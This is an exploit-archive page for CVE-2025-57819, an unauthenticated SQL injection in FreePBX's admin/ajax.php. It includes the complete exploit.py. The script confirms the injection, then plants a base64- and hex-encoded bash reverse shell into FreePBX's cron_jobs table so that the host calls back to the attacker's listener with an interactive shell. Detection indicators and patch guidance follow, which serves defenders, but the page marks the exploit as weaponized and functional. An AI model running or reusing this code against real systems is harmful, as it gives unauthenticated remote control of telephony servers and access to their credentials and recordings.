PoC Archive PoC Archive
Critical CVE-2025-57819 patched

FreePBX Unauthenticated SQL Injection to RCE (CVE-2025-57819)

by K3ysTr0K3R · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-57819
Category
web
Affected product
Sangoma FreePBX administrator web UI (admin/ajax.php, endpoint module)
Affected versions
FreePBX 15.x, 16.x, and 17.x prior to 15.0.66 / 16.0.89 / 17.0.3 (per source repository)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherK3ysTr0K3R
CVE / AdvisoryCVE-2025-57819
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagsfreepbx, sangoma, sqli, unauthenticated, ajax-php, cron-jobs, reverse-shell, voip, asterisk, cwe-89
RelatedN/A

Affected Target

FieldValue
Software / SystemSangoma FreePBX administrator web UI (admin/ajax.php, endpoint module)
Versions AffectedFreePBX 15.x, 16.x, and 17.x prior to 15.0.66 / 16.0.89 / 17.0.3 (per source repository)
Language / PlatformPython 3 (requests, rich) targeting PHP-based FreePBX on Linux/Asterisk hosts
Authentication RequiredNo
Network Access RequiredYes (HTTP/HTTPS access to the FreePBX admin interface)

Summary

CVE-2025-57819 is an unauthenticated SQL injection in FreePBX’s admin/ajax.php endpoint handler for the endpoint module, where the brand parameter is concatenated into a backend SQL query without sanitization. The PoC first confirms the injection with an EXTRACTVALUE-based error-based SQLi payload that leaks SELECT USER() output through a MySQL XPATH syntax error, then weaponizes the same injection point to INSERT a malicious row directly into FreePBX’s cron_jobs table. The injected cron entry contains a base64-encoded, hex-embedded reverse-shell one-liner disguised as a legitimate scheduled task, which FreePBX’s own cron execution mechanism runs automatically within ~60-90 seconds, giving the attacker a fully interactive shell on the underlying host with no authentication and no user interaction required.

Root Cause

The endpoint AJAX handler builds a SQL query using the attacker-controlled brand GET parameter without parameterization or escaping. The PoC’s validation payload demonstrates classic error-based SQLi:

1
2
3
4
5
6
7
8
payload = "x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -"
params = {
    'module': 'FreePBX\\modules\\endpoint\\ajax',
    'command': 'model',
    'template': 'x',
    'model': 'model',
    'brand': payload
}

A response containing XPATH syntax error alongside freepbxuser confirms the injection reaches the database with the current DB user reflected. The exploitation payload swaps the read-only EXTRACTVALUE probe for a stacked INSERT into cron_jobs, embedding a hex-encoded shell command as the command column value:

1
2
3
4
5
sql_payload = (
    f"x' ;INSERT INTO cron_jobs "
    f"(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) "
    f"VALUES ('sysadmin', 'revshell', 0x{hex_payload}, NULL, '* * * * *', 30, 1, 1) -- "
)

Attack Vector

  1. Attacker sends an unauthenticated GET to admin/ajax.php with the EXTRACTVALUE probe payload in the brand parameter to confirm the endpoint is vulnerable.
  2. Attacker builds a reverse-shell command (bash -c 'exec bash -i &>/dev/tcp/LHOST/LPORT <&1'), base64-encodes it, then hex-encodes the base64 string for safe embedding inside the SQL string literal (0x... MySQL hex-string syntax).
  3. Attacker sends a second request with a stacked INSERT in the brand parameter, writing a new row into FreePBX’s cron_jobs table disguised as a sysadmin/revshell scheduled job set to run every minute.
  4. FreePBX’s own cron scheduling mechanism (running with the privileges of the Asterisk/web service user) executes the planted command within roughly 60-90 seconds, decoding the hex/base64 payload and piping it to bash.
  5. The reverse shell connects back to the attacker’s pre-armed listener, which the PoC starts in a background thread before sending the injection, giving an interactive bash session (upgraded via pty.spawn).

Impact

Unauthenticated remote code execution as the FreePBX service user, leading to full compromise of the VoIP/PBX host: theft of SIP credentials, voicemail, and call recordings, creation of persistent administrator accounts, installation of web shells/backdoors, and pivoting into internal telephony and adjacent network infrastructure.


Environment / Lab Setup

Target:   Sangoma FreePBX 15.x / 16.x / 17.x (unpatched), reachable admin/ajax.php over HTTP/HTTPS
Attacker: Python 3, pip packages: requests, urllib3, rich
          Attacker host must have LPORT reachable from the target (listener bound before injection)

Proof of Concept

PoC Script

See exploit.py in this folder.

1
python3 exploit.py -u http://TARGET --lhost ATTACKER_IP --lport 4444

The script first arms a raw TCP reverse-shell listener on ATTACKER_IP:4444 in a background thread, validates the SQLi via the EXTRACTVALUE probe, then injects the cron-based payload and waits for the FreePBX cron daemon to trigger the callback, dropping into an interactive shell once the connection is received.


Detection & Indicators of Compromise

- HTTP GET requests to /admin/ajax.php with module=FreePBX\modules\endpoint\ajax and a `brand`
  parameter containing SQL metacharacters (', EXTRACTVALUE, INSERT INTO, 0x-prefixed hex blobs)
- Unexpected rows in the FreePBX `cron_jobs` database table, especially modulename='sysadmin'
  with unfamiliar jobname values or base64/hex-encoded `command` fields
- Outbound TCP connections from the FreePBX host to unfamiliar external IPs shortly after a cron tick
- New interactive shell / bash process spawned by the web server or Asterisk service account

Signs of compromise:

  • Presence of unexpected cron_jobs entries scheduled * * * * * with obfuscated commands
  • Outbound reverse-shell connections initiated by the PBX host itself
  • New administrator accounts or modified FreePBX configuration with no corresponding admin login
  • Unusual scheduled tasks, web shells, or modified PHP files discovered during integrity review

Remediation

ActionDetail
Primary fixUpgrade to FreePBX 15.0.66, 16.0.89, or 17.0.3 or later, which patch the endpoint module’s ajax.php SQL injection
Interim mitigationDo not expose the FreePBX admin interface directly to the internet; restrict access via VPN/allowlist, monitor cron_jobs table integrity, and inspect scheduled tasks for unauthorized entries

References


Notes

Mirrored from https://github.com/K3ysTr0K3R/CVE-2025-57819 on 2026-07-06. exploit.py contains real, functional SQL injection validation logic against FreePBX’s admin/ajax.php plus a working reverse-shell listener — not a stub.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#!/usr/bin/env python3

import sys
import time
import requests
import urllib3
import socket
import threading
import base64
import argparse
from rich.console import Console

console = Console()

def banner():
    console.print("[cyan]CVE-2025-57819 • FreePBX SQLi → RCE[/cyan]")
    console.print("[cyan]Coded By: K3ysTr0K3R[/cyan]")
    console.print("[yellow]Need a hug? ʕっ•ᴥ•ʔっ[/yellow]")
    print()

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def validate_sqli(target_url):
    vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php"
    payload = "x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -"
    params = {
        'module': 'FreePBX\\modules\\endpoint\\ajax',
        'command': 'model',
        'template': 'x',
        'model': 'model',
        'brand': payload
    }
    try:
        response = requests.get(vuln_url, params=params, verify=False, timeout=15)
        if "XPATH syntax error" in response.text and "freepbxuser" in response.text:
            console.print("[green][+][/green] Exploit path confirmed!")
            return True
        else:
            console.print("[red][-][/red] Target immune – no vulnerable signature detected.")
            return False
    except Exception as e:
        console.print(f"[red][-][/red] Probe failed: {e}")
        return False

def start_listener(lhost, lport):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        server.bind((lhost, lport))
    except Exception as e:
        console.print(f"[red][-][/red] Listener deployment failed: {e}")
        sys.exit(1)
    server.listen(1)
    console.print(f"[blue][*][/blue] Reverse listener armed on {lhost}:{lport}, awaiting callback...")
    client, addr = server.accept()
    console.print(f"[green][+][/green] Incoming shell session acquired from {addr}!")

    pty_attempts = [
        b"python3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n",
        b"python -c 'import pty; pty.spawn(\"/bin/bash\")'\n",
        b"script -q /dev/null /bin/bash\n",
    ]
    for cmd in pty_attempts:
        client.send(cmd)
        time.sleep(0.5)
    console.print("[blue][*][/blue] Interactive control established. Type 'exit' to terminate session.")

    def reader():
        while True:
            try:
                data = client.recv(4096)
                if not data:
                    break
                sys.stdout.buffer.write(data)
                sys.stdout.flush()
            except:
                break

    recv_thread = threading.Thread(target=reader)
    recv_thread.daemon = True
    recv_thread.start()

    try:
        while True:
            cmd = input()
            if cmd.lower() == 'exit':
                client.close()
                break
            client.send((cmd + "\n").encode())
    except (EOFError, KeyboardInterrupt):
        print()
        console.print("[yellow][!][/yellow] Forced session termination.")
        client.close()
    except Exception as e:
        console.print(f"[red][-][/red] Channel error: {e}")
        client.close()
    console.print("[blue][*][/blue] Remote session closed.")

def exploit(target_url, lhost, lport):
    banner()
    console.print(f"[blue][*][/blue] Target locked: {target_url}")

    listener_thread = threading.Thread(target=start_listener, args=(lhost, lport))
    listener_thread.daemon = True
    listener_thread.start()
    time.sleep(1)

    if not validate_sqli(target_url):
        console.print("[red][-][/red] Exploit aborted – target not vulnerable.")
        sys.exit(1)

    shell_cmd = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1'"
    b64_shell_cmd = base64.b64encode(shell_cmd.encode()).decode()
    final_cmd = f"echo '{b64_shell_cmd}' | base64 -d | bash"
    hex_payload = final_cmd.encode().hex()

    sql_payload = (
        f"x' ;INSERT INTO cron_jobs "
        f"(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) "
        f"VALUES ('sysadmin', 'revshell', 0x{hex_payload}, NULL, '* * * * *', 30, 1, 1) -- "
    )

    vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php"
    params = {
        'module': 'FreePBX\\modules\\endpoint\\ajax',
        'command': 'model',
        'template': 'x',
        'model': 'model',
        'brand': sql_payload
    }

    console.print("[blue][*][/blue] Injecting payload into cron schedule...")
    try:
        response = requests.get(vuln_url, params=params, verify=False, timeout=15)
        if response.status_code in (200, 500):
            console.print(f"[green][+][/green] Payload planted successfully (server response: {response.status_code})")
            console.print("[blue][*][/blue] Awaiting trigger activation (cron will fire within ~60 seconds)...")
        else:
            console.print(f"[red][-][/red] Unexpected status {response.status_code} – payload may have missed.")
            console.print(response.text[:200])
            sys.exit(1)
    except Exception as e:
        console.print(f"[red][-][/red] Injection delivery failed: {e}")
        sys.exit(1)

    console.print(f"[blue][*][/blue] Backdoor callback expected from {lhost}:{lport} in the next 60–90 seconds...")
    listener_thread.join()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-57819 FreePBX SQLi → RCE")
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://127.0.0.1)")
    parser.add_argument("--lhost", required=True, help="Listener IP address")
    parser.add_argument("--lport", type=int, required=True, help="Listener port")
    args = parser.parse_args()

    exploit(args.url, args.lhost, args.lport)